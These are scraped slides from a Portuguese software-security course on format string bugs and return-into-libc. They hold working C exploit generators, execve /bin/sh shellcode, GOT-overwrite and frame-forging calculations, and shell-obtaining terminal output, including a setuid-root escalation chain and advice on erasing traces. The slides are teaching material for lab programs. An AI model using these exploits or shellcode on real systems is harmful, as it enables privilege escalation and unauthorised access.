    Format String Bug Lendo de qualquer lugar da memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como os endereços seguintes ao ponteiro para a string de formato podem ser acessados, isso permite que se acesse a própria string de formato, visto que a stack cresce em direção à memória baixa.  Então, codificando um endereço (little endian) de memória diretamente na string de formato é possível ler o endereço apontado pelo mesmo através da tag de formato %s. O problema é que o endereço é tratado como uma string e vai terminar no primeiro NULL encontrado.
  • 152.
    Format String Bug Lendo de qualquer lugar da memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(){ char *ptr, *addr; int i = 0x45444342; char str[] = "AAAAxffxffxffxff%08x%08x%08x%08x%08x%08x%08x__%s__n"; addr = (char*)&i; ptr = (char*)&addr; str[4] = *ptr; str[5] = *(ptr+1); str[6] = *(ptr+2); str[7] = *(ptr+3); printf(str); } [rafael@centos format string]$ ./format_string_ex3 AAAAøôÿ¿00000000000000000000000000000000000000000000000041414141__BCDEøôÿ¿üôÿ¿ õÿ¿xõÿ¿# Æè·# # # xõÿ¿# Æè·__ [rafael@centos format string]$
  • 153.
    Format String Bug Escrevendo na memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(){ char *ptr, *addr; int i = 0xaabbccdd; char str[] = "AAAAxffxffxffxff%08x%08x%08x%08x%08x%08x%08x__%n__n"; addr = (char*)&i; ptr = (char*)&addr; str[4] = *ptr; str[5] = *(ptr+1); str[6] = *(ptr+2); str[7] = *(ptr+3); fprintf(stderr, "variavel i (%p) = 0x%xnn", &i, i); printf(str); fprintf(stderr, "nvariavel i (%p) = 0x%xn", &i, i); }
  • 154.
    Format String Bug Escrevendo na memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Codificando um endereço válido na string de formato, pode-se alterar o valor apontado por esse endereço.  Basta apenas chegar até a posição da string de formato na stack e então encontrar o endereço codificado.
  • 155.
    Format String Bug Escrevendo na memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Então, é só passar a tag %n tendo como argumento o endereço codificado. [rafael@centos format string]$ ./format_string_ex4 variavel i (0xbffff4f8) = 0xaabbccdd AAAAøôÿ¿080485d0bffff4f8aabbccdd00000000000000000000000041414141____ variavel i (0xbffff4f8) = 0x42 [rafael@centos format string]$
  • 156.
    Format String Bug Controlando a memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(){ char *ptr, *addr; int i = 0xaabbccdd; char str[] = "AAAAxffxffxffxff%0233811115x%08x%08x%08x%08x%08x” “%08x%08x__%n__n"; addr = (char*)&i; ptr = (char*)&addr; str[4] = *ptr; str[5] = *(ptr+1); str[6] = *(ptr+2); str[7] = *(ptr+3); fprintf(stderr, "variavel i (%p) = 0x%xnn", &i, i); printf(str); fprintf(stderr, "nvariavel i (%p) = 0x%xn", &i, i); }
  • 157.
    Format String Bug Controlando a memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Para controlar o valor a ser escrito no endereço codificado basta usar os especificadores de tamanho nas tags de formato. Assim, pode-se forçar que uma quantidade específica de bytes seja enviada para a saída, de modo que quando %n for ativada o valor a ser escrito possa ser controlado pelo atacante. [rafael@centos format string]$ ./format_string_ex5 > /dev/null variavel i (0xbffff4f8) = 0xaabbccdd variavel i (0xbffff4f8) = 0xdefaced [rafael@centos format string]$
  • 158.
    Format String Bug A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char shellcode[]= "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd" "x80"; int main(int argc, char *argv[]){ if(argc != 2){ printf("uso: %s <param>n", argv[0]); return 1; } printf("shellcode - %pn", shellcode); printf("retaddr - %pn", &argc-1); printf(argv[1]); printf("n"); printf("%pn", *(&argc-1)); }
  • 159.
    Format String Bug A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Controlando qualquer endereço de memória é possível redirecionar o fluxo de execução do programa para o payload previamente injetado pelo atacante.  Para tal, basta sobrescrever um endereço de retorno ou uma entrada na GOT.
  • 160.
    Format String Bug String de formato (In)Segurança de Software, Quebrando Códigos - Rafael Rosa 1 x “AAAA” = 4 1 endereço = 4 %134519792x = 134519792 132 x %08x = 1056 total = 0x0804a018 então, bffff2ec = 0x804a018
  • 161.
    Format String Bug Redirecionando fluxo (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos format string]$ /format_string_ex6 `cat badfile_ex61.bin` shellcode - 0x804a018 retaddr - 0xbffff2ec … bffff2ecbffff2e8bffff2f0b7ff0f50bffff2f0bffff348b7e8c685080484c008048340b ffff348b7e8c68500000002bffff374bffff380b7fe2b380000000100000001000000000804824cb7fc fff4080484c008048340bffff348d005e179fe6c9569000000000000000000000000b7ff6090b7e8c5 adb7ffeff400000002080483400000000008048361080483f400000002bffff374080484c0080484b0 b7ff0f50bffff36cb7ffbaaa00000002bffff4c0bffff4d400000000bffff705bffff727bffff73abffff771bFfff781 bffff78cbffff7dcbffff817bffff829bffff835bffffc5ebffffc84bffffcb4bffffce5bffffcf5bffffd42bffffd62bFfffd7d bffffda4bffffdb5bffffdcdbffffde2bffffdfdbffffe14bffffe1cbffffe2ebffffe5abffffe69bffffea5bfffff07bfFfff27b fffff34bfffff41bfffff63bfffff79bfffff92bfffffb6bfffffd20000000000000020b7ffd42000000021b7ffd0000 0000010078bf3bf000000060000100000000011000000640000000308048034000000040000002 0000000050000000800000007b7fe3000000000080000000000000009080483400000000b00000 3e70000000c000003e70000000d000003e70000000e000003e700000017000000000000001fbffff fe80000000fbffff4bb00000000000000000000000069000000003638366f662f2e74616d72727473 5f5f676e690036786541414141aaaaaaaaaaa 0x804a018 sh-3.2$ exit exit [rafael@centos format string]$
  • 162.
    Format String Bug Controlando a memória byte a byte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Pode ser que haja algum limite para os especificadores de tamanho, como também para a quantidade total de caracteres gerados como saída.  Então, para controlar o valor a ser escrito, deve- se escrever byte a byte o valor na posição desejada.
  • 163.
    Format String Bug Controlando a memória byte a byte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa 4 x “AAAA” = 16 4 endereços = 16 132 x %08x = 1056 %216x = 216 bffff2cc = 0x00000518 %136x = 136 bffff2cd = 0x000005a0 %100x = 100 bffff2ce = 0x00000604 %260x = 260 bffff2cf = 0x00000708 então, bffff2cc = 0x0804a018
  • 164.
    Format String Bug Controlando a memória byte a byte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos format string]$ /format_string_ex6 `cat badfile_ex62.bin` shellcode - 0x804a018 retaddr – 0xbffff2ccc .... AAAA����AAAA����AAAA����AAAA����bffff2ccbffff2c8bffff2d0b7ff0f50bffff 2d0bffff328b7e8c685080484c008048340bffff328b7e8c68500000002bffff354bffff360b7fe2b3800 00000100000001000000000804824cb7fcfff4080484c008048340bffff328d085a179feec9569000 000000000000000000000b7ff6090b7e8c5adb7ffeff40000000208048340000000000804836108 0483f400000002bffff354080484c0080484b0b7ff0f50bffff34cb7ffbaaa00000002bffff4a0bffff4b40 0000000bffff705bffff727bffff73abffff771bffff781bffff78cbffff7dcbffff817bffff829bffff835bffffc5ebffffc 84bffffcb4bffffce5bffffcf5bffffd42bffffd62bffffd7dbffffda4bffffdb5bffffdcdbffffde2bffffdfdbffffe14bffffe 1cbffffe2ebffffe5abffffe69bffffea5bfffff07bfffff27bfffff34bfffff41bfffff63bfffff79bfffff92bfffffb6bfffffd200 00000000000020b7ffd42000000021b7ffd00000000010078bf3bf0000000600001000000000110 000006400000003080480340000000400000020000000050000000800000007b7fe3000000000 080000000000000009080483400000000b000003e70000000c000003e70000000d000003e7000 0000e000003e700000017000000000000001fbfffffe80000000fbffff49b000000000000000000000 00069000000003638366f662f2e74616d727274735f5f676e6900367865 41414141 41414141 41414141 41414141aaaa 0x804a018 sh-3.2$
  • 165.
    Format String Bug Acesso direto à parametros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Caso haja algum limite para o tamanho da string de formato injetada, pode-se usar o especificador de formato %pos$n, onde pos é a posição do argumento desejado na passagem para a função.
  • 166.
    Format String Bug Acesso direto à parametros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa 4 x “AAAA” = 16 %100x = 100 4 endereços = 16 bffff4ce = 0x00000204 %248x = 248 %260x = 260 bffff4cc = 0x00000118 bffff4cf = 0x00000308 %136x = 136 então, bffff4cd = 0x000001a0 bffff4cc = 0x0804a018
  • 167.
    Format String Bug Acesso direto à parametros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos format string]$ /format_string_ex6 `cat badfile_ex63.bin` shellcode - 0x804a018 retaddr - 0xbffff4cc AAAA����AAAA����AAAA����AAAA���� bffff4cc bffff4c8 bffff4d0 b7ff0f50aaaa 0x804a018 sh-3.2$ exit exit [rafael@centos format string]$
  • 168.
    Format String Bug Programa vulnerável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int func(char *str){ printf(str); printf("n"); } int main(int argc, char *argv[]){ if(argc != 2){ printf("uso: %s <param>n", argv[0]); return 1; } func(argv[1]); }
  • 169.
    Format String Bug Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  A exploração será feita através da GOT. Quando putchar() for chamada após o ataque, o fluxo do programa será redirecionado para o endereço injetado na tabela.  Basta gravar na entrada GOT de putchar() o endereço do payload. Sabendo em que posição (como parametro da função vulnerável) argv[1] se encontra, é fácil calcular seu endereço, dado o endereço (estimado) da stack.
  • 170.
    Format String Bug Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O endereço do payload deve ser colocado em 0x0804a004. [rafael@centos format string]$ objdump -R format_string_ex7 format_string_ex7: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a000 R_386_JUMP_SLOT __gmon_start__ 0804a004 R_386_JUMP_SLOT putchar 0804a008 R_386_JUMP_SLOT __libc_start_main 0804a00c R_386_JUMP_SLOT printf [rafael@centos format string]$
  • 171.
    Format String Bug Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa 4 x “AAAA” = 16 4 endereços = 16 45 x 0x90 = 41 shellcode = 23 total = 100 %72x = 72 0804a004 = 0x000000ac %74x = 74 0804a005 = 0x000000f6 %9x = 9 0804a006 = 0x000000ff %192x = 192 0804a007 = 0x000001bf então, 0804a004 = 0xbffff6ac
  • 172.
    Format String Bug Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  0xbffff6ac é o endereço do payload. 0xbffff6ac ≅ esp – 128 + 137*4 ± offset. [rafael@centos exemplos]$ ./get_esp esp: 0xbffff4f4 [rafael@centos exemplos$ [rafael@centos format string]$ ./format_string_ex7 `cat badfile_ex7.bin` sh-3.2$ exit exit [rafael@centos format string]$
  • 173.
    Agenda (In)Segurança de Software,Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 174.
    Técnicas Modernas (In)Segurança deSoftware, Quebrando Códigos - Rafael Rosa  Atualmente existem proteções que dificultam a execução do payload.  Área de dados apenas com permissão de execução. Não é possível redirecionar o ponteiro de instruções para o payload.  Mecanismos de verificação dinâmica da integridade da stack.  Randomização da memória do programa, de modo que endereços não possam ser “adivinhados” com facilidade.
  • 175.
    Agenda (In)Segurança de Software,Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 176.
    WorX Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Técnica utilizada para impedir que áreas de dados de um programa possam ser executadas.  Nenhuma área com permissão de escrita (stack, heap, .data, .bss) deve ter permissão de execução.  Isso impede que o fluxo de execução de um programa seja redirecionado para um payload injetado.
  • 177.
    WorX Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Nada impede o desenvolvedor de mapear uma área de memória WR.  Alguns programas precisam executar código gerado dinamicamente.
  • 178.
    WorX Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char shellcode[]= "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80"; void func(){ char buffer[16]; strcpy(buffer, "AAAABBBBCCCCDDD"); *((long*)(buffer+20)) = (long)shellcode; printf("%sn", buffer); } int main(){ func(); printf("fimn"); }
  • 179.
    WorX Proteção desabilitada (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos worx]$ gcc -z execstack worx_ex11 worx_ex1.c [rafael@centos worx]$ ./worx_ex1 AAAABBBBCCCCDDD sh-3.2$ [rafael@centos worx]$ cat /proc/14460/maps 00723000-0073d000 r-xp 00000000 08:02 394715 /lib/ld-2.5.so 0073d000-0073e000 r-xp 00019000 08:02 394715 /lib/ld-2.5.so 0073e000-0073f000 rwxp 0001a000 08:02 394715 /lib/ld-2.5.so 00741000-0087f000 r-xp 00000000 08:02 392465 /lib/libc-2.5.so 0087f000-00881000 r-xp 0013e000 08:02 392465 /lib/libc-2.5.so 00881000-00882000 rwxp 00140000 08:02 392465 /lib/libc-2.5.so 00882000-00885000 rwxp 00882000 00:00 0 08048000-08049000 r-xp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex1 08049000-0804a000 rwxp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex1 f7f95000-f7f97000 rwxp f7f95000 00:00 0 f7fb2000-f7fb3000 rwxp f7fb2000 00:00 0 ffbd2000-ffbe7000 rwxp 7ffffffea000 00:00 0 [stack] ffffe000-fffff000 r-xp ffffe000 00:00 0 [rafael@centos worx]$
  • 180.
    WorX Proteção habilitada (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos worx]$ gcc worx_ex12 worx_ex1.c [rafael@centos worx]$ ./worx_ex1 AAAABBBBCCCCDDD Segmentation fault [rafael@centos worx]$ [rafael@centos worx]$ cat /proc/14461/maps 00723000-0073d000 r-xp 00000000 08:02 394715 /lib/ld-2.5.so 0073d000-0073e000 r--p 00019000 08:02 394715 /lib/ld-2.5.so 0073e000-0073f000 rw-p 0001a000 08:02 394715 /lib/ld-2.5.so 00741000-0087f000 r-xp 00000000 08:02 392465 /lib/libc-2.5.so 0087f000-00881000 r--p 0013e000 08:02 392465 /lib/libc-2.5.so 00881000-00882000 rw-p 00140000 08:02 392465 /lib/libc-2.5.so 00882000-00885000 rw-p 00882000 00:00 0 08048000-08049000 r-xp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex12 08049000-0804a000 rw-p 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex12 f7fd5000-f7fd7000 rw-p f7fd5000 00:00 0 f7ff2000-f7ff3000 rw-p f7ff2000 00:00 0 ffcdf000-ffcf4000 rw-p 7ffffffea000 00:00 0 [stack] ffffe000-fffff000 r-xp ffffe000 00:00 0 [rafael@centos worx]$
  • 181.
    Return-into-libc Burlando a proteção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Redirecionar o fluxo para código próprio do programa ou para bibliotecas carregadas por ele.  Libc é “linkada” em todos os programas em sistemas Linux e carregada sempre no mesmo endereço base. Basta que o fluxo seja redirecionado para uma função da biblioteca.  Chamando system(“/bin/sh”) um shell é retornado para o atacante.
  • 182.
    Return-into-libc A arte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa vetor de injeção 0xdefaced... 0xdefaced system 0xdefaced ptr “/bin/sh” função vulnerável buffer explorado EBP anterior retaddr ... ... esp ebp crescimento da system stack variáveis locais EBP anterior retaddr arg1
  • 183.
    Return-into-libc Redirecionando para system (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int func(){ int main(){ int *ptr; func(); } ptr = (int*)&ptr; ptr++; ptr++; *ptr = (int)system; ptr++; ptr++; *ptr = (int)"/bin/sh"; } [rafael@centos worx]$ ./return_into_libc_ex1 $ exit Segmentation fault [rafael@centos worx]$
  • 184.
    Return-into-libc Redirecionando para system (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O endereço de retorno é sobrescrito com o endereço de system.  A posição de memória que do ponto de vista do registro de ativação (frame de pilha) da função system seria o endereço de retorno é deixada de lado e um ponteiro para “/bin/sh” é colocado na posição seguinte. Esse ponteiro será o arg1 da função.
  • 185.
    Return-into-libc Eliminando vestígios (In)Segurança de Software, Quebrando Códigos - Rafael Rosa vetor de injeção 0xdefaced... 0xdefaced system exit ptr “/bin/sh” 0xffffffff função vulnerável buffer explorado EBP anterior retaddr ... ... ... esp ebp crescimento da system stack variáveis locais EBP anterior retaddr arg1 exit variáveis locais EBP anterior retaddr arg1
  • 186.
    Return-into-libc Eliminando vestígios (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int func(){ int main(){ int *ptr; func(); } ptr = (int*)&ptr; ptr++; ptr++; *ptr = (int)system; ptr++; *ptr = (int)exit; ptr++; *ptr = (int)"/bin/sh"; ptr++; *ptr = 0x1; } [rafael@centos worx]$ ./return_into_libc_ex2 $ exit [rafael@centos worx]$
  • 187.
    Return-into-libc Eliminando vestígios (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Um atacante deve eliminar todos os seus rastros de modo a não chamar a atenção do administrador do sistema.  Para não causar uma falha de segmentação, a posição que system considera como endereço de retorno é sobrescrita com o endereço de exit, e o valor após o ponteiro para “/bin/sh” recebe o valor -1 (argumento para exit).
  • 188.
    Return-into-libc Programa vulnerável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ char buffer[256]; strcpy(buffer, str); printf("%sn", buffer); } int main(int argc, char *argv[]){ if(argc != 2){ printf("uso: %s <param>n", argv[0]); return 1; } func(argv[1]); printf("fimn"); }
  • 189.
    Return-into-libc Planejando o ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Descobrindo o endereço de system e exit. [rafael@centos worx]$ gdb ./return_into_libc_ex3 GNU gdb Fedora (6.8-27.el5) Copyright (C) 2008 Free Software Foundation, Inc. This GDB was configured as "x86_64-redhat-linux-gnu"... (no debugging symbols found) (gdb) b main Breakpoint 1 at 0x8048460 (gdb) r Starting program: minicurso/exemplos/worx/return_into_libc_ex3 Breakpoint 1, 0x08048460 in main () (gdb) p system $1 = {<text variable, no debug info>} 0xb7eafa90 <system> (gdb) p exit $2 = {<text variable, no debug info>} 0xbfea4ce0 <exit> (gdb)
  • 190.
    Return-into-libc O exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define SYSTEM 0xb7eafa90 #define SARG "////////////////////////////////////////////////////bin/sh" #define ESP 0xbffff3a4 + 37 #define EXIT 0xb7ea4ce0 #define EARG 0xffffffff int main(int argc, char **argv){ FILE *badfile; long *ptr; unsigned int sargaddr; int n, i, j, pos; char buffer[352]; if(argc != 3){ fprintf(stderr, "uso: %s <ret> <conf>n", argv[0]); return 1; } sargaddr = ESP + atoi(argv[1]); pos = atoi(argv[2]); if(pos < 1 || pos > 4) pos = 1;
  • 191.
    Return-into-libc O exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa memset(&buffer, 'A', 352); ptr = (long*)buffer; n = ( (&buffer[351] - strlen(SARG)) - (char*)ptr)/4; n = n/4; for(i = 0, j = pos - 1; i <= n; i++){ ptr[j++] = SYSTEM; ptr[j++] = EXIT; ptr[j++] = sargaddr; ptr[j++] = EARG; } strcpy(&buffer[351] - strlen(SARG), SARG); badfile = fopen("./badfile_ex31.bin", "w"); fwrite(buffer, 1, 352, badfile); fclose(badfile); }
  • 192.
    Return-into-libc Calculando o endereço do buffer (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Considerando que o buffer vulnerável tem 256 bytes, e a posição de SARG dentro do vetor é 293, conclui- se que SARG se encontra próximo ao endereço: SARG = esp + (293-256) ± offset  Onde offset é o deslocamento da pilha, que depende de características próprias do programa. [rafael@centos exemplos]$ ./get_esp ESP: 0xbffff504 [rafael@centos exemplos]$
  • 193.
    Return-into-libc O ataque falha (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O offset deve ser multiplo de 4 (dword), já que a pilha segue um alinhamento de 4 bytes. [rafael@centos worx]$ ./exploit_return_into_libc_ex31 -28 2 [rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin ` AAAA�����L��-������������L ��-������������L��-������������L��-���������� ��L��-������������L��-������������L��-�������� ����L��-������������L��-������������L��-������ ������L��-������������L��-������������L��-���� ��������L��-������������L��-������������L��-�� ����������L��-������������L��-��������///////////////////////// ///////////////////////////bin/sh sh: cannot open �������: No such file sh: ���P��: not found [rafael@centos worx]$
  • 194.
    Return-into-libc Recalculando o endereço do buffer (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como o vetor de injeção é passado através de argumento da linha de comando, o valor da pilha se altera porque argv[1] é armazenado na mesma. [rafael@centos worx]$ ../get_esp `cat badfile_ex31.bin ` ESP: 0xbffff3a4 [rafael@centos worx]$
  • 195.
    (In)Segurança de Software,Quebrando Códigos - Rafael Rosa Badfile Return-into-libc
  • 196.
    Return-into-libc A exploração (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Dessa vez com o valor de ESP considerando argv[1]. [rafael@centos worx]$ ./exploit_return_into_libc_ex31 -28 2 [rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin ` AAAA�����L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � ������L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � ����L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � ��L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭 ������������L 귭� � � � � � � � � � � � L 귭� � � � � � � � ////////////////////////// //////////////////////////bin/sh sh-3.2$ exit exit [rafael@centos worx]$
  • 197.
    Return-into-libc O bash (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Na maioria dos sistema atuais /bin/sh é um link simbólico para /bin/bash. [rafael@centos worx]# cp /bin/sh /bin/sh.back [rafael@centos worx]# rm /bin/sh [rafael@centos worx]# ln -s /bin/bash /bin/sh [rafael@centos worx]#
  • 198.
    Return-into-libc O bash (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Setando o programa como suid root. [rafael@centos worx]# chown root return_into_libc_ex3 [rafael@centos worx]# chmod a+s return_into_libc_ex3 [rafael@centos worx]# exit [rafael@centos worx]$ ./exploit_return_into_libc_ex3 -7 2 [rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin ` AAAA�����L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � ������L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � ����L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � ��L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭� � � � � � � � � � � � L 귭 ������������L 귭� � � � � � � � � � � � L 귭� � � � � � � � /////////////////////////// /////////////////////////bin/sh sh-3.2$ id uid=500(rafael) gid=500(rafael) groups=500(rafael),501(vboxusers) context=user_u:system_r:unco nfined_t sh-3.2$
  • 199.
    Return-into-libc O bash (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O bash possui um mecanismo de proteção. Retorna um shell de acordo com o uid e não com o euid.  O euid do programa vulnerável é 0 (root) porém o uid é 500 (rafael).  Basta então setarmos o uid para 0, através de setuid(0). Isso é possível pois o processo está rodando com permissão de root.
  • 200.
    Return-into-libc Limitação (In)Segurança de Software, Quebrando Códigos - Rafael Rosa vetor de injeção 0xdefaced... setuid system ? ptr “/bin/sh” 0xffffffff função vulnerável buffer retaddr ... ... ... ... setuid variáveis locais EBP anterior retaddr arg1 system variáveis locais EBP anterior retaddr arg1 exit variáveis locais EBP anterior retaddr arg1
  • 201.
    Return-into-libc Limitação (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Mas como chamar setuid(), system() e exit()? É impossível! O argumento para setuid coincidiria com o endereço de exit.
  • 202.
    Return-into-libc Código de epílogo (In)Segurança de Software, Quebrando Códigos - Rafael Rosa O código de epílogo nos programas modernos é formado por duas instruções: leave e ret. A primeira retoma o frame de pilha da função chamadora. A segunda retorna o fluxo do programa para a instrução seguinte à que chamou a função atual. ; instruções executadas por leave mov esp, ebp pop ebp ; instrução executada por ret pop eip
  • 203.
    Return-into-libc Endereço de leave e ret (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Posições de memória onde há uma instrução leave. [rafael@centos worx]$ objdump -S return_into_libc_ex3 | grep leave 804830e: c9 leave 8048421: c9 leave 8048450: c9 leave 8048576: c9 leave [rafael@centos worx]$
  • 204.
    Return-into-libc Falsificando frames (In)Segurança de Software, Quebrando Códigos - Rafael Rosa função vulnerável buffer vetor de injeção EBP anterior ebp 1 retaddr setuid ebp setuid ... 0x08048450 ; área de texto ... 0x00 ; código do programa ... ebp 2 0x08048450 <func+44>: leave ... system ebp system 0x08048451 <func+45>: ret ... 0x08048450 ... ptr “/bin/sh” ... ebp 3 ... exit ebp exit ... 0x08048450 ... 0xffffffff
  • 205.
    Return-into-libc Falsificando frames (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  A função vulnerável vai copiar o valor em ebp 1 para o ebp, em seguida vai retornar para setuid.  O código de prólogo então vai criar um frame da função e vai sobrescrever o endereço de setuid com o endereço do ebp 2. Ao terminar o ebp 2 será restaurado e a função retorna para 0x08048450.  leave vai copiar o valor de ebp 2 para ebp e então retorna para system.
  • 206.
    Return-into-libc Limitação (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Se a função vulnerável (caso em questão) trabalhar com manipulação de strings, não se pode injetar um 0x00 (NULL), pois isso terminaria a operação com a string e não seria possível injetar mais nenhum byte no buffer.
  • 207.
    Return-into-libc Escrevendo na memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa vetor de injeção buffer função vulnerável ebp 1 EBP anterior printf ebp printf retaddr 0x08048450 ... ptr “%n” ... ... ebp 2 ; área de texto ; código do programa ... setuid ebp setuid ... 0x08048450 0x08048450 <func+44>: leave ... 0xffffffff ... ebp 3 0x08048451 <func+45>: ret ebp system ... system ... 0x08048450 ... ptr “/bin/sh” ... ebp 4 ... exit ebp exit ... 0x08048450 ... 0xffffffff
  • 208.
    Return-into-libc Escrevendo na memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Um frame para printf é criado para poder alterar um endereço de memória através da tag de formato %n.  Basta passar como argumento de %n o endereço do argumento para setuid, o qual será sobrescrito com 0x00000000.
  • 209.
    Return-into-libc Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Para executar esse ataque é necessária a injeção de uma string de formato (“%n”) e de um shell (“/bin/sh”), que precisam ser armazenados em endereços conhecidos.  É preciso conhecer o endereço do buffer na memória, para poder falsificar os frames de pilha.
  • 210.
    Return-into-libc Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Para esse caso, pode-se injetar as strings em variáveis de ambiente.  A técnica abaixo é usada para aumentar a chance de acerto. [rafael@centos exemplos]$ export SH=/////////////////////////////////////////////////////////////////////////////////////// ///////////////bin/sh [rafael@centos exemplo]$ export STR=%n [rafael@centos exemplo]$ export STR=$STR`perl -e 'print “%08p”x100'` [rafael@centos exemplo]$ ./get_env SH O endereço de SH é 0xbffffd56 [rafael@centos exemplos]$ ./get_env STR O endereço de STR é 0xbffffaa1
  • 211.
    Return-into-libc Código do exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define PRINTF 0xb7ebfc10 #define SETUID 0xb7f13c60 #define SYSTEM 0xb7eafa90 #define EXIT 0xb7ea4ce0 #define LEAVERET 0x08048450 #define PARGADDR 0xbffffaa1 - 34 #define SUIDARG 0xffffffff #define SARGADDR 0xbffffd56 #define EARG 0xffffffff #define ESP 0xbffff1a4 +20 int main(int argc, char **argv){ FILE *badfile; long *ptr; unsigned int bufaddr; char buffer[336];
  • 212.
    Return-into-libc Código do exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa If(argc != 2){ fprintf(stderr, "uso: %s <ret> n", argv[0]); return 1; } bufaddr = ESP + atoi(argv[1]); memset(&buffer, 'A', 336); ptr = (long*)(buffer+256); *ptr++ = bufaddr; //ebp setuid *ptr++ = PRINTF; //call printf *ptr++ = LEAVERET; //printf retaddr *ptr++ = PARGADDR; // "%n" *ptr++ = bufaddr+12; //endereço a ser nulificado *ptr++ = bufaddr+16; //ebp system *ptr++ = SETUID; //call setuid *ptr++ = LEAVERET; //setuid retaddr *ptr++ = SUIDARG; //argumento para setuid
  • 213.
    Return-into-libc Código do exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa *ptr++ = bufaddr+32; //ebp exit *ptr++ = SYSTEM; //call system *ptr++ = LEAVERET; //system retaddr *ptr++ = SARGADDR; // "/bin/bash" *ptr++ = bufaddr+48; //terminamos aqui *ptr++ = EXIT; //ebp exit *ptr++ = 0xdefaced; //system retaddr *ptr++ = EARG; //argumento para exit buffer[335] = '0'; badfile = fopen("./badfile_ex32.bin", "w"); fwrite(buffer, 1, 336, badfile); fclose(badfile); }
  • 214.
    (In)Segurança de Software,Quebrando Códigos - Rafael Rosa Vetor de injeção Return-into-libc
  • 215.
